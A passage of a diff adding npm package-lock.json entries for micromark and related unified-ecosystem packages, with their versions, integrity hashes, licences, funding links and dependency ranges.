+ "license": "MIT", + "dependencies": { + "@types/debug": "^4.0.0", + "debug": "^4.0.0", + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-combine-extensions": "^2.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-core-commonmark": { + "version": "2.0.3", + "integrity": "sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "devlop": "^1.0.0", + "micromark-factory-destination": "^2.0.0", + "micromark-factory-label": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-factory-title": "^2.0.0", + "micromark-factory-whitespace": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-html-tag-name": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-subtokenize": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-core-commonmark/node_modules/micromark-factory-space": { + "version": "2.0.1", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-core-commonmark/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-core-commonmark/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-extension-directive": { + "version": "3.0.2", + "integrity": "sha512-wjcXHgk+PPdmvR58Le9d7zQYWy+vKEU9Se44p2CrCDPiLr2FMyiT4Fyb5UFKFC66wGB3kPlgD7q3TnoqPS7SZA==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-factory-whitespace": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "parse-entities": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-directive/node_modules/micromark-factory-space": { + "version": "2.0.1", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-directive/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-directive/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-extension-frontmatter": { + "version": "2.0.0", + "integrity": "sha512-C4AkuM3dA58cgZha7zVnuVxBhDsbttIMiytjgsM2XbHAB2faRVaHRle40558FBN+DJcrLNCoqG5mlrpdU4cRtg==", + "license": "MIT", + "dependencies": { + "fault": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-frontmatter/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-frontmatter/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-extension-gfm": { + "version": "3.0.0", + "integrity": "sha512-vsKArQsicm7t0z2GugkCKtZehqUm31oeGBV/KVSorWSy8ZlNAv7ytjFhvaryUiCUJYqs+NoE6AFhpQvBTM6Q4w==", + "license": "MIT", + "dependencies": { + "micromark-extension-gfm-autolink-literal": "^2.0.0", + "micromark-extension-gfm-footnote": "^2.0.0", + "micromark-extension-gfm-strikethrough": "^2.0.0", + "micromark-extension-gfm-table": "^2.0.0", + "micromark-extension-gfm-tagfilter": "^2.0.0", + "micromark-extension-gfm-task-list-item": "^2.0.0", + "micromark-util-combine-extensions": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-autolink-literal": { + "version": "2.1.0", + "integrity": "sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==", + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-autolink-literal/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-gfm-autolink-literal/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-extension-gfm-footnote": { + "version": "2.1.0", + "integrity": "sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-normalize-identifier": "^2.0.0", + "micromark-util-sanitize-uri": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-footnote/node_modules/micromark-factory-space": { + "version": "2.0.1", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-gfm-footnote/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-gfm-footnote/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-extension-gfm-strikethrough": { + "version": "2.1.0", + "integrity": "sha512-ADVjpOOkjz1hhkZLlBiYA9cR2Anf8F4HqZUO6e5eDcPQd0Txw5fxLzzxnEkSkfnD0wziSGiv7sYhk/ktvbf1uw==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-classify-character": "^2.0.0", + "micromark-util-resolve-all": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-strikethrough/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-extension-gfm-table": { + "version": "2.1.1", + "integrity": "sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-table/node_modules/micromark-factory-space": { + "version": "2.0.1", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-gfm-table/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-gfm-table/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-extension-gfm-tagfilter": { + "version": "2.0.0", + "integrity": "sha512-xHlTOmuCSotIA8TW1mDIM6X2O1SiX5P9IuDtqGonFhEK0qgRI4yeC6vMxEV2dgyr2TiD+2PQ10o+cOhdVAcwfg==", + "license": "MIT", + "dependencies": { + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-task-list-item": { + "version": "2.1.0", + "integrity": "sha512-qIBZhqxqI6fjLDYFTBIa4eivDMnP+OZqsNwmQ3xNLE4Cxwc+zfQEfbs6tzAo2Hjq+bh6q5F+Z8/cksrLFYWQQw==", + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-gfm-task-list-item/node_modules/micromark-factory-space": { + "version": "2.0.1", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-gfm-task-list-item/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-gfm-task-list-item/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-extension-math": { + "version": "3.1.0", + "integrity": "sha512-lvEqd+fHjATVs+2v/8kg9i5Q0AP2k85H0WUOwpIVvUML8BapsMvh1XAogmQjOCsLpoKRCVQqEkQBB3NhVBcsOg==", + "license": "MIT", + "dependencies": { + "@types/katex": "^0.16.0", + "devlop": "^1.0.0", + "katex": "^0.16.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-math/node_modules/micromark-factory-space": { + "version": "2.0.1", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-math/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-math/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-extension-mdx-expression": { + "version": "3.0.1", + "integrity": "sha512-dD/ADLJ1AeMvSAKBwO22zG22N4ybhe7kFIZ3LsDI0GlsNr2A3KYxb0LdC1u5rj4Nw+CHKY0RVdnHX8vj8ejm4Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "devlop": "^1.0.0", + "micromark-factory-mdx-expression": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-events-to-acorn": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-mdx-expression/node_modules/micromark-factory-space": { + "version": "2.0.1", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-mdx-expression/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-mdx-expression/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-extension-mdx-jsx": { + "version": "3.0.2", + "integrity": "sha512-e5+q1DjMh62LZAJOnDraSSbDMvGJ8x3cbjygy2qFEi7HCeUT4BDKCvMozPozcD6WmOt6sVvYDNBKhFSz3kjOVQ==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "devlop": "^1.0.0", + "estree-util-is-identifier-name": "^3.0.0", + "micromark-factory-mdx-expression": "^2.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-events-to-acorn": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdx-jsx/node_modules/micromark-factory-space": { + "version": "2.0.1", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-mdx-jsx/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-mdx-jsx/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-extension-mdx-md": { + "version": "2.0.0", + "integrity": "sha512-EpAiszsB3blw4Rpba7xTOUptcFeBFi+6PY8VnJ2hhimH+vCQDirWgsMpz7w1XcZE7LVrSAUGb9VJpG9ghlYvYQ==", + "license": "MIT", + "dependencies": { + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdxjs": { + "version": "3.0.0", + "integrity": "sha512-A873fJfhnJ2siZyUrJ31l34Uqwy4xIFmvPY1oj+Ean5PHcPBYzEsvqvWGaWcfEIr11O5Dlw3p2y0tZWpKHDejQ==", + "license": "MIT", + "dependencies": { + "acorn": "^8.0.0", + "acorn-jsx": "^5.0.0", + "micromark-extension-mdx-expression": "^3.0.0", + "micromark-extension-mdx-jsx": "^3.0.0", + "micromark-extension-mdx-md": "^2.0.0", + "micromark-extension-mdxjs-esm": "^3.0.0", + "micromark-util-combine-extensions": "^2.0.0", + "micromark-util-types": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdxjs-esm": { + "version": "3.0.0", + "integrity": "sha512-DJFl4ZqkErRpq/dAPyeWp15tGrcrrJho1hKK5uBS70BCtfrIFg81sqcTVu3Ta+KD1Tk5vAtBNElWxtAa+m8K9A==", + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "devlop": "^1.0.0", + "micromark-core-commonmark": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-events-to-acorn": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unist-util-position-from-estree": "^2.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/micromark-extension-mdxjs-esm/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-extension-mdxjs-esm/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-factory-destination": { + "version": "2.0.1", + "integrity": "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-destination/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-destination/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-factory-label": { + "version": "2.0.1", + "integrity": "sha512-VFMekyQExqIW7xIChcXn4ok29YE3rnuyveW3wZQWWqF4Nv9Wk5rgJ99KzPvHjkmPXF93FXIbBp6YdW3t71/7Vg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + 